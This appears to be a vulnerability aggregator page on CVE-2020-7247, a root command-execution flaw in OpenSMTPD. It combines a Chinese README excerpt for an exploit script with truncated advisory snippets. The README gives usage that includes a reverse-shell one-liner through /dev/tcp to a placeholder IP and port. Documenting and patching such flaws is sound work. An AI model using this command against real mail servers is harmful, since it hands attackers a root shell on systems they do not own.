CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

VulnCheck KEV: CVE-2020-7247

smtpmailaddr in smtpsession.c in OpenSMTPD, as used in OpenBSD and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session...

The vulnerability in the smtp_mailaddr function (smtp_session.c) of the OpenSMTPD mail daemon on the OpenBSD operating system allows a hacker to elevate their privileges and execute arbitrary commands with root privileges.

The vulnerability in the smtpmailaddr function smtpsession.c of the OpenSMTPD mail daemon on the OpenBSD operating system is related to the lack of data validation during return operations. Exploitation of this vulnerability allows a remote attacker to execute arbitrary commands with root...

OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)

Qualys Research Labs discovered a vulnerability in OpenBSD's OpenSMTPD mail server that allows an attacker to execute arbitrary shell commands with elevated privileges. OpenBSD developers have confirmed the vulnerability and also quickly provided a patch. Proof-of-concept exploits are published i...

CVE-2020-7247: Improper Neutralization of Special Elements used in an OS Command

smtpmailaddr in smtpsession.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration...